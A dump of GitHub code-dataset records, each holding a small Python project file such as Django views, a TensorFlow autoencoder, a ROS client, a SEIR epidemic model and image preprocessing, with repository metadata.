= RoomSerializer(room).data\n context['building'] = BuildingSerializer(building).data\n context['owner'] = {\n 'email': owner.username,\n 'first_name': owner.first_name,\n 'last_name': owner.last_name,\n 'phone_number': owner.phone_number\n }\n return context\n","repo_name":"Accomple/APIs","sub_path":"custom/responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"7474293536","text":"import tensorflow as tf\nimport numpy as np\nimport data.dataset as data\n\nfrom lib.autoencoder import AutoEncoder\nfrom lib.colors import colors\n\nfrom functools import partial\n\n__dim__ = 100\n\nknown_labels = [\n 'K-Pop', \n 'Drum and Bass', \n 'Symphonic Metal', \n 'Trance',\n 'Progressive Rock'\n ]\n\ndef transform_labels (labels):\n global known_labels\n\n return [1 if x in labels else 0 for x in known_labels]\n\ndef decode_labels (labels, threshold=0.5):\n global known_labels\n\n return [known_labels[i] for i in range(len(labels)) if labels[i] > threshold]\n\ndef transform_input_one_hot (input, depth):\n \"\"\"\n Transforms a vector of features into a one-hot vector.\n\n Ex:\n\n input = [3, 4, 1, 1]\n depth = 5\n\n # [0, 1, 0, 1, 1]\n \"\"\"\n\n result = tf.zeros(depth)\n\n for scalar in input:\n result += tf.one_hot(scalar, depth)\n\n return result\n\n\"\"\" Main stub \"\"\"\n\nprint(colors.BOLD, 'Loading dataset...', colors.ENDC)\n\ndata_set, labels = data.get_data()\n\nprint(colors.BOLD, 'Transforming data...', colors.ENDC, end='')\n\ndata_set = list(map(partial(transform_input_one_hot, depth=__dim__), data_set))\ndata_set = tf.stack(data_set)\ndata_set = tf.map_fn(lambda t: t / tf.reduce_max(t), data_set)\n\ntrain = data_set[:800]\nvalidation = data_set[800:]\n\ntf.InteractiveSession()\n\ntrain_np = train.eval()\nvalidation_np = validation.eval()\n\nprint(colors.OKGREEN, 'OK', colors.ENDC)\n\nae = AutoEncoder(data_dimension=__dim__, encoding_dimension=65, verbose=True)\n\nae.initialize_model()\n\nprint(colors.BOLD, 'Fitting autoencoder model...', colors.ENDC)\nae.fit(train_np, validation_np, epochs=300)\nprint(colors.OKGREEN, 'Autoencoder fitting done.', colors.ENDC)\n\nae.extend_model(loss_function='binary_crossentropy')\n\nlabels = np.array(list(map(transform_labels, labels)))\n\ntrain_labels = labels[:800]\ntest_labels = labels[800:]\n\nprint(colors.BOLD, 'Fitting full model...', colors.ENDC)\nae.fit_full_model(train_np, train_labels, \n test_data=validation_np,\n test_labels=test_labels,\n epochs=300)\nprint(colors.OKGREEN, 'Training complete.', colors.ENDC)\n\nlabels = ae.full_model.predict(validation_np[-17:])\ndemo_labels = test_labels[-17:]\n\nprint()\nprint(colors.OKBLUE, '=======', colors.ENDC)\nprint(colors.HEADER, 'Training results:', colors.ENDC)\nprint()\n\nfor idx in range(len(demo_labels)):\n print(colors.BOLD, 'Expected:', colors.ENDC, end='')\n print(', '.join(decode_labels(demo_labels[idx])))\n\n print(colors.BOLD, 'Got:', colors.ENDC, end='')\n print(', '.join(decode_labels(labels[idx])))\n print()","repo_name":"brotheroftux/genres-classifier","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"36380697453","text":"from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup\r\nfrom keyboards.kb_fabric import statistic_callback, chooce_type_callback\r\n\r\nkb_choice = InlineKeyboardMarkup(row_width=2, inline_keyboard=[\r\n [\r\n InlineKeyboardButton(text=\"Послематчевое табло\", callback_data=chooce_type_callback.new(type='summary')),\r\n InlineKeyboardButton(text=\"Командная аналитика\", callback_data=chooce_type_callback.new(type=\"team\")),\r\n InlineKeyboardButton(text=\"Персональная статистика\", callback_data=chooce_type_callback.new(type=\"personal\"))\r\n ]\r\n])","repo_name":"Stkos95/Statbot","sub_path":"keyboards/inline.py","file_name":"inline.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"34218701248","text":"#!/usr/bin/env python\n\nimport rospy\nimport numpy as np\nimport cv2\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom simple_webcam.srv import Image_Proc,Image_ProcResponse\nimport actionlib\nfrom simple_webcam.msg import image_procAction,image_procGoal,image_procFeedback,image_procResult\n\nbridge = CvBridge()\n\nimg_rec_flag = False\n\nclass my_img:\n\tdef __init__(self):\n\t\tself.img = bridge.cv2_to_imgmsg(np.zeros((500,500,3), np.uint8), \"bgr8\")\n\t\tself.img_rec_flag = False\n\tdef get_img(self):\n\t\treturn(self.img)\n\tdef set_img(self,img):\n\t\tself.img = img\n\tdef set_flag(self):\n\t\tself.img_rec_flag = True\n\tdef get_flag(self):\n\t\treturn(self.img_rec_flag)\n\nI = my_img()\n\ndef video_callback(Image_msg):\n\tI.set_img(Image_msg)\n\tI.set_flag()\n\ndef callback_feedback(feedback):\n\trospy.loginfo(\"Feedback recieved\")\t\n\tcv_feedback = bridge.imgmsg_to_cv2(feedback.image_inter, \"bgr8\")\n\tcv2.namedWindow(\"Camera 1 Blur feedback\")\n\tcv2.imshow('Camera 1 Blur feedback',cv_feedback)\n\tcv2.waitKey(1)\n\ndef proc_act_client():\n\tclient = actionlib.SimpleActionClient('image_proc', image_procAction)\n\n\t# Waits until the action server has started up and started\n\t# listening for goals.\n\tclient.wait_for_server()\n\n\t# Creates a goal to send to the action server.\n\tgoal = image_procGoal(I.get_img())\n\n\t# Sends the goal to the action server.\n\tclient.send_goal(goal,feedback_cb=callback_feedback)\n\n\t# Waits for the server to finish performing the action.\n\tclient.wait_for_result()\n\t\n\trospy.loginfo(\"Result recieved\")\n\tcv2.destroyAllWindows()\n\treturn client.get_result()\n\nif __name__ == '__main__':\n\trospy.init_node('proc_act_client', anonymous=True, disable_signals = True)\n\trospy.loginfo(\"Starting Image Processing Action Client\")\n\trospy.Subscriber(\"video_stream\", Image, video_callback)\n\twhile not I.get_flag():\n\t\tpass\n\t# try:\n\tcv_result = bridge.imgmsg_to_cv2(proc_act_client().image_out, \"bgr8\")\n\t# cv2.namedWindow(\"Camera 1 Blur result\")\n\t# cv2.imshow('Camera 1 Blur result',cv_result)\n\t# cv2.waitKey(0)\n\t# # except rospy.ROSInterruptException:\n\t# \trospy.loginfo(\"program interrupted before completion\")\n\tcv2.destroyAllWindows()\n\trospy.signal_shutdown(\"Recieved responce. Shutting down client\")\n","repo_name":"sohambhave/simple_webcam","sub_path":"scripts/proc_act_client.py","file_name":"proc_act_client.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"3589764051","text":"#!/usr/bin/python3\n\nimport os,sys,requests,threading\nfrom sys import platform as _platform\n\nprint(\"PID: \",os.getpid())\n\n\nif _platform == \"linux\":\n\tprint(os.getloadavg())\n\nload1, load5, load15 = os.getloadavg()\n\nprint(\"Load average over the last 5 minute:\", load5)\n\nnproc = os.cpu_count() \n \nprint(\"Number of CPUs in the system:\", nproc) \n\n\nif (nproc - load5 < 1):\n\tsys.exit()\n\nurls=['https://api.github.com', 'http://bilgisayar.mu.edu.tr/', 'https://www.python.org/ ', 'http://akrepnalan.com/ceng2034', 'https://github.com/caesarsalad/wow']\n\ndef check_url(url):\n\tx=requests.get(url)\n\tprint(x.status_code)\n\tif(x.status_code>=200 and x.status_code <=300):\n\t\tprint(\"The url:\",url,\"is valid.\")\n\telif(x.status_code>=404):\n\t\tprint(\"The url:\",url,\" is not valid.\")\n\n\nthreads = [threading.Thread(target=check_url, args=(url,)) for url in urls]\n\nfor thread in threads:\n thread.start()\n\n","repo_name":"cilememre24/ceng_2034_2020_midterm","sub_path":"ceng_2034_answer.py","file_name":"ceng_2034_answer.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}
+{"seq_id":"11974725480","text":"\"\"\"\nСделал более универсально, чем описано в задаче (без захардкоженных списков)\n\"\"\"\n\nimport csv\nimport os\nimport re\n\nimport chardet\n\nSOURCE_DIR = 'source_files'\nSEARCH_STRINGS = [\n 'Изготовитель системы',\n 'Название ОС',\n 'Код продукта',\n 'Тип системы'\n]\n\n\nclass NoDataInFile(Exception):\n def __init__(self, search_string, file_name):\n self.search_string = search_string\n self.file_name = file_name\n\n\ndef get_data(source_dir: str) -> list:\n \"\"\"\n Функция парсинга файлов в заданной директории\n :param source_dir: название директории\n :return: список словарей спаршенных данных\n \"\"\"\n\n extention = 'txt'\n\n files = list()\n for file in os.listdir(source_dir):\n if file.endswith(extention):\n files.append(file)\n\n result_list = list()\n\n for file in files:\n full_path = os.path.join(source_dir, file)\n\n # кодировка файла\n with open(full_path, 'rb') as fb:\n encoding = chardet.detect(fb.read())['encoding']\n\n # парсинг файла в словарь\n file_dict = dict()\n with open(full_path, encoding=encoding) as f:\n for line in f.readlines():\n line = line.strip() # исключение переноса строки\n for search_string in SEARCH_STRINGS:\n if re.search(search_string, line):\n # если в строке нашлась подстрока поиска, заполняем словарь\n file_dict[search_string] = re.sub(search_string + ':' + ' +', '', line)\n\n # Проверка, что полученные данные полны\n for search_string in SEARCH_STRINGS:\n if search_string not in file_dict.keys():\n raise NoDataInFile(search_string, file)\n\n result_list.append(file_dict)\n\n return result_list\n\n\ndef write_to_csv(target_file):\n \"\"\"\n Функция записи данных в csv-файл\n :param target_file: имя файла для записи\n :return: None\n \"\"\"\n data = get_data(source_dir=SOURCE_DIR)\n with open(target_file, 'w', encoding='utf-8') as f:\n writer = csv.DictWriter(f, fieldnames=SEARCH_STRINGS)\n writer.writeheader()\n for row in data:\n writer.writerow(row)\n\n\nif __name__ == '__main__':\n csv_file = 'result_01.csv'\n try:\n write_to_csv(os.path.join(SOURCE_DIR, csv_file))\n except NoDataInFile as e:\n print(f'Ошибка: нет строки во входном файле: {e}')\n","repo_name":"tkvitko/study_python_async","sub_path":"homework_02/task_01.py","file_name":"task_01.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}
+{"seq_id":"28160627726","text":"input = [input() for i in range(2)]\nN = input[0]\nCards = list(map(int, input[1].split()))\n\nAlice = 0\nBob = 0\n\nif len(Cards) % 2 == 1:\n idx = Cards.index(min(Cards))\n lastNum = Cards.pop(idx)\n Alice += lastNum\n\nturns = len(Cards) / 2\nfor i in range(int(turns)):\n first = Cards.index(max(Cards))\n largerNum = Cards.pop(first)\n Alice += largerNum\n\n second = Cards.index(max(Cards))\n smallerNum = Cards.pop(second)\n Bob += smallerNum\n\nprint(Alice - Bob)\n ","repo_name":"KokiIto-45/atcoder_python","sub_path":"contest/abc088/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}
+{"seq_id":"14023071707","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django.shortcuts import render, redirect\nfrom user.forms.profile_form import ProfileForm\nfrom user.models import Profile, UserHistory\nfrom django.contrib.auth import (authenticate, login)\n\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('/')\n next = request.GET.get('next')\n form = UserCreationForm(request.POST or None)\n if form.is_valid():\n user = form.save()\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password1')\n new_user = authenticate(username=username, password=password)\n login(request, user)\n if next:\n return redirect(next)\n return redirect('/')\n\n context = {\n 'form': form\n }\n\n return render(request, 'user/register.html', context)\n\n\ndef edit_profile(request):\n profile = Profile.objects.filter(user=request.user).first()\n if request.method == 'POST':\n form = ProfileForm(instance=profile, data=request.POST)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n return redirect('profile')\n return render(request, 'user/edit_profile.html', {\n 'form': ProfileForm(instance=profile)\n })\n\n\ndef profile(request):\n if not request.user.is_authenticated:\n return redirect('/')\n\n user_history = UserHistory.objects.filter(user_id=request.user.id).order_by('-date')\n print(user_history[:10])\n return render(request, '../templates/user/profile.html', {\n 'user_history': user_history[:4]\n })\n\n\ndef history(request):\n if not request.user.is_authenticated:\n return redirect('/')\n\n user_history = UserHistory.objects.filter(user_id=request.user.id).order_by('-date')\n return render(request, '../templates/user/history.html', {\n 'history': user_history\n })\n","repo_name":"runarlevi/VN2_hopur54","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}
+{"seq_id":"39823507228","text":"#\n#\n# |∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕\n# ⓖ REDUCE CONDITIONAL PROBABILITY DISTRIBUTION. Start with a 'quiescent' conditional-probability distribution. Marginalize out \n# a specified conditioning variable with a specified distribution. Return the reduced probability distribution.\n#\n# Our inputs are:\n# ⧐ digraph, A Networkx digraph object containing the vertex and its predecessors;\n# ⧐ var_states, the variable state;\n# ⧐ vertex, The target vertex for which the reduced conditional probability is desired; and \n# ⧐ cond_dist, A dictionary object containing baseline conditional-probability distributions for the target\n# vertex and its conditioning variables.\n#\n# Our logic performs the following steps.\n# Ⓐ Create a list of predecessors to vertex.\n# Ⓑ Build the conditional-probability table for vertex and for its predecessors for which probability distributions\n# are specified.\n# Ⓒ Merge the CPTs to perform factor multiplication.\n# Ⓓ Perform the factor multiplication. \n# Ⓔ Marginalize out the specified vertices. Use groupby-sum.\n# Ⓕ Return the ID-root-reduced probability-distribution as a list.\n#\n# Ⓐ Create a list of predecessors to vertex.\n#\ndef reduce_cpd(digraph, var_states, vertex, cond_dist):\n\tparent_verts = digraph.predecessors(vertex)\n#\n# Ⓑ Build the conditional-probability table for vertex. Use internally-defined function state_df\n# to build the variable states for each variable. We then use a constant-unit-valued join key\n# to make our merge perform like a cartesian product. We drop unneded attributes from the colum.\n\tbase_cpt = fct.reduce(lambda x, y: pd.merge(left = x, right = y),\n\t\t\t\t\t\t\t\t\t[state_df(state_var = vert,\n\t\t\t\t\t\t\t\t\t\t\tvar_states = var_states.drop('UNMEASURED',axis = 0)['CAT_LEVEL_IDX'])\n\t\t\t\t\t\t\t\t\tfor vert in digraph.predecessors(vertex) + [vertex]])\\\n\t\t\t\t\t.assign(MEAS = cond_dist.get(vertex))\\\n\t\t\t\t\t.drop(labels = 'join_key',\n\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t.rename(columns = {'MEAS' : 'P_' + vertex})\n#\n# Ⓒ Merge the CPTs to perform factor multiplication. We simultaneously build the CPTs for the ID-root vertices.\n\tfactor_prod = fct.reduce(lambda x, y: pd.merge(left = x, right = y),\n\t\t\t\t\t\t\t[base_cpt] +\\\n\t\t\t\t\t\t\t[state_df(state_var = vert,\n\t\t\t\t\t\t\t\t\t\tvar_states = var_states.drop('UNMEASURED',axis = 0)['CAT_LEVEL_IDX'])\\\n\t\t\t\t\t\t\t\t\t.assign(MEAS = cond_dist.get(vert))\\\n\t\t\t\t\t\t\t\t\t.drop(labels = 'join_key',\n\t\t\t\t\t\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t\t\t\t\t.rename(columns = {'MEAS' : 'P_' + vert})\n\t\t\t\t\t\t\tfor vert in list(cond_dist.keys())\n\t\t\t\t\t\t\tif vert != vertex] )\n#\n# Ⓓ Perform the factor multiplication. \n\tfactor_prod = factor_prod.assign(factor_prod = factor_prod[[fact_col for fact_col in factor_prod.columns.tolist()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'P_' in fact_col]].product(axis = 1).tolist())\\\n\t\t\t\t\t\t\t.drop(labels = [fact_col for fact_col in factor_prod.columns.tolist()\n\t\t\t\t\t\t\t\t\t\t\tif 'P_' in fact_col],\n\t\t\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t\t\t.rename(columns = {'factor_prod' : 'P_' + vertex})\n#\n# Ⓔ Marginalize out the ID-root vertices.\n\tred_cpt = factor_prod.groupby(by = list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex],\n\t\t\t\t\t\t\t\taxis = 0,\n\t\t\t\t\t\t\t\tas_index = False)['P_' + vertex].sum()\\\n\t\t\t\t\t\t\t[list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex] + ['P_'+ vertex]]\\\n\t\t\t\t\t\t\t.sort_values(by = list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex],\n\t\t\t\t\t\t\t\t\t\taxis = 0)\n#\n# Ⓕ Return the ID-root-reduced probability-distribution as a list.\n\treturn red_cpt['P_' + vertex].tolist()\n#","repo_name":"hamlett-neil-ur/diagnostic_cognitive_model","sub_path":"PrototypeSubroutinesInR/REDUCE_CPD.py","file_name":"REDUCE_CPD.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"}
+{"seq_id":"69888996427","text":"# Avazu CTR prediction\n# SGD Logistic regression + hashing trick.\n\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime, date, time\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.feature_extraction import FeatureHasher\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import log_loss\nimport scipy as sp\n\ncols = ['tweet']\n\n# add two columns for hour and weekday\ndef dayhour(timestr):\n d = datetime.strptime(str(x), \"%y%m%d%H\")\n return [float(d.weekday()), float(d.hour)]\n\ndef textClean(s):\n remove = ['\\\\t','\\\\n',' ']\n # s = s.replace(i, Noneunct)\n\n for i in remove:\n s = re.sub(i,'',s)\n s = s.lower()\n s = s.split()\n return s\n\ndef textCleaner(value):\n for i in parenthesis:\n value = value.replace(i, '')\n # print value\n for word in value.split(' '):\n if '#' in word:\n if word[0] == '#':\n value = re.sub(word,\"\",value)\n if '@' in word:\n value = re.sub(word,\"\",value)\n # print word\n if 'http://' in word or 'http' in word or '.com' in word:\n value = re.sub(word,\"\",value)\n # print word\n for i in string.punctuation:\n value = value.replace(i, '')\n return value\n\nfh = FeatureHasher(n_features = 2**20, input_type=\"string\", non_negative=True)\n\n# Train classifier\nclf = MultinomialNB()\ntrain = pd.read_csv(\"newtrain.csv\", chunksize = 50000, iterator = True)\nall_classes = np.array([0, 1])\nfor chunk in train:\n y_train = chunk[\"polarity\"]\n chunk = chunk[cols]\n chunk['tweet'] = textCleaner(chunk['tweet'])\n chunk['tweet'] = textClean(chunk['tweet'])\n Xcat = fh.transform(np.asarray(chunk.astype(str)))\n clf.partial_fit(Xcat, y_train, classes=all_classes)\n \n# Create a submission file\nusecols = cols + [\"id\"]\nX_test = pd.read_csv(\"newtest.csv\", usecols=usecols)\n\nX_enc_test = fh.transform(np.asarray(X_test.astype(str)))\n\ny_act = pd.read_csv(\"newtest.csv\", usecols=['click'])\ny_pred = clf.predict_proba(X_enc_test)[:, 1]\n\nwith open('logloss.txt','a') as f:\n f.write('\\n'+str(log_loss(y_act, y_pred))+'\\tMultinomialNB')\n\nwith open(\"sentiment.csv\", \"w\") as f:\n f.write(\"id,tweet,sentiment\\n\")\n for idx, xid in enumerate(X_test.id):\n f.write(str(xid) + \",\" + str(idx) + ',' + \"{0:.10f}\".format(y_pred[idx]) + \"\\n\")\nf.close()","repo_name":"antiDigest/UserClassify","sub_path":"MultinomialNB.py","file_name":"MultinomialNB.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"}
+{"seq_id":"8858820470","text":"import unittest\n\nfrom qemu_tcp_wrapper import qemu_oneshot_test\n\nexpected_wrapper_errors_output = [\n 'Truncated RegisterAs: -2',\n 'Truncated WhoIs: -2',\n 'Too short RegisterAs: -3',\n 'Too short WhoIs: -3',\n 'Not found WhoIs: -4',\n]\n\nexpected_too_many = [\n 'RegisterAs before too many: 0',\n 'RegisterAs one too many: -4'\n]\n\nexpected_happypath = [\n 'Basic RegisterAs/WhoIs: Me: 2, Task in question: 2',\n 'Other task registers: Them: 4, Task registered: 4',\n 'Overwriting task: Them: 68, Task registered: 68',\n 'I\\'m 2 and registered Task1 and Task3. Nameserver says Task1 and Task3 are 2 and 2'\n]\n\n\nclass TestNameserver(unittest.TestCase):\n def test_wrapper_errors(self):\n terminal_output = qemu_oneshot_test('test_nameserver_wrapper_errors', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_wrapper_errors_output))\n for i, exp in enumerate(expected_wrapper_errors_output):\n self.assertEqual(lines[i], exp)\n\n def test_too_many(self):\n terminal_output = qemu_oneshot_test('test_nameserver_too_many', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_too_many))\n for i, exp in enumerate(expected_too_many):\n self.assertEqual(lines[i], exp)\n\n def test_happypath(self):\n terminal_output = qemu_oneshot_test('test_nameserver_happypath', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_happypath))\n for i, exp in enumerate(expected_happypath):\n self.assertEqual(lines[i], exp)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"thechrisu/trains","sub_path":"test/e2e/test_nameserver.py","file_name":"test_nameserver.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"}
+{"seq_id":"9672394744","text":"'''\n SEIR model plotting\n\n 2020-03-28\n'''\nimport numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pylab as plt\nfrom matplotlib.pylab import rcParams\nplt.style.use('seaborn-colorblind')\n\nN = 60480000 # community size\nt_max = 300 \ntspan = np.linspace(0.0, t_max, t_max + 1)\n\n# parameters to fit\nr0 = 2.67 #Reproduction number\nbeta = 0.205 # infection force\nI0 = 7123 # Init Infected patients\ngamma = 0.154 # average rate or death (Hubei)\nsigma = 1/7 # incubation average (7.0 days)\n\ndef seir(v,t):\n global r0, beta, sigma, gamma\n # v = [S, E, I, R]\n x = beta*v[0]*v[2]/N # infected rate of the day\n dS = -x # Susceptible\n dE = x - sigma * v[1] #Exposed\n dI = sigma * v[1] - gamma * v[2] #Infected\n dR = gamma * v[1] # Removed\n dN = dI +dR\n return np.array([dS, dE, dI, dR, dN])\n\nini_state = [N-I0,I0,0, 0,0]\n\n#rcParams['figure.figsize'] = 12,7\node_int = odeint(seir, ini_state, tspan)\n\nfor n in range(len(ode_int)):\n ode = ode_int[n]\n S = int(ode[0])\n E = int(ode[1])\n I = int(ode[2])\n R = int(ode[3])\n N = int(ode[4])\n print(n,N)\n\n","repo_name":"IchiroYoshida/python_public","sub_path":"covid/calc/italy/seir_out.py","file_name":"seir_out.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"}
+{"seq_id":"5211538150","text":"from tensorflow.python.keras.utils.data_utils import Sequence\nimport numpy as np\nfrom tqdm import tqdm\nfrom random import shuffle \nimport cv2\nimport os\n\n\n\ndef process_data(data_dir, dog_image_list, cat_image_lst, IMG_SIZE):\n ## Helper for manual_pre_process\n data_df = []\n labels = []\n cat_count, dog_count = 0, 0\n DATA_FOLDER = data_dir\n for img in tqdm(dog_image_list):\n path = os.path.join(DATA_FOLDER, img)\n label = 1\n img = cv2.imread(path, cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n data_df.append([np.array(img), np.array(label), path])\n for img in tqdm(cat_image_lst):\n path = os.path.join(DATA_FOLDER, img)\n label = 0\n img = cv2.imread(path, cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n data_df.append([np.array(img), np.array(label), path])\n # DATA_FOLDER = aug_dir\n # for img in tqdm(dog_aug_lst):\n # path = os.path.join(DATA_FOLDER, img)\n # label = 1\n # img = cv2.imread(path, cv2.IMREAD_COLOR)\n # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n # data_df.append([np.array(img), np.array(label), path])\n # for img in tqdm(cat_aug_lst):\n # path = os.path.join(DATA_FOLDER, img)\n # label = 0\n # img = cv2.imread(path, cv2.IMREAD_COLOR)\n # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n # data_df.append([np.array(img), np.array(label), path])\n shuffle(data_df)\n return data_df\n\n\ndef manual_pre_process(data_dir, IMG_SIZE, DATA_SAMPLE_SIZE, isTrain=True):\n dog_image_lst = [file for file in os.listdir(data_dir) if 'dog' in file][:int(DATA_SAMPLE_SIZE/2)]\n cat_image_lst = [file for file in os.listdir(data_dir) if 'cat' in file][:int(DATA_SAMPLE_SIZE/2)]\n # dog_aug_lst = [file for file in os.listdir(aug_dir) if 'dog' in file][:int(AUG_SAMPLE_SIZE/2)]\n # cat_aug_lst = [file for file in os.listdir(aug_dir) if 'cat' in file][:int(AUG_SAMPLE_SIZE/2)]\n # dog_image_lst = [file for file in os.listdir(dir) if 'dog' in file]\n # cat_image_lst = [file for file in os.listdir(dir) if 'cat' in file]\n data_df = process_data(data_dir, dog_image_lst, cat_image_lst, IMG_SIZE)\n X = np.array([i[0] for i in data_df]).reshape(-1, IMG_SIZE, IMG_SIZE, 3)\n y = np.array([i[1] for i in data_df])\n files = np.array([i[2] for i in data_df])\n return X, y, files\n\n\n\nclass DatasetSequence(Sequence):\n ## Take the processed data and make it easiy digestible for model training\n\n def __init__(self, x_set, y_set, batch_size, augmentations=None):\n self.x, self.y = x_set, y_set\n self.batch_size = batch_size\n self.augment = augmentations\n\n def __len__(self):\n return int(np.ceil(len(self.x) / float(self.batch_size)))\n\n def __getitem__(self, idx):\n batch_x = self.x[idx * self.batch_size:(idx + 1) * self.batch_size]\n batch_y = self.y[idx * self.batch_size:(idx + 1) * self.batch_size]\n \n if self.augment == None:\n return batch_x, batch_y\n else:\n return np.stack([\n self.augment(image=x)[\"image\"] for x in batch_x\n ], axis=0), np.array(batch_y)","repo_name":"reiffd7/gradcam_cats-dogs","sub_path":"pre_processing.py","file_name":"pre_processing.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"}
+{"seq_id":"72403250505","text":"import re\n\n\ndef main():\n html = input(\"HTML: \")\n print(parse(html))\n\n\ndef parse(s):\n if re.search(r\"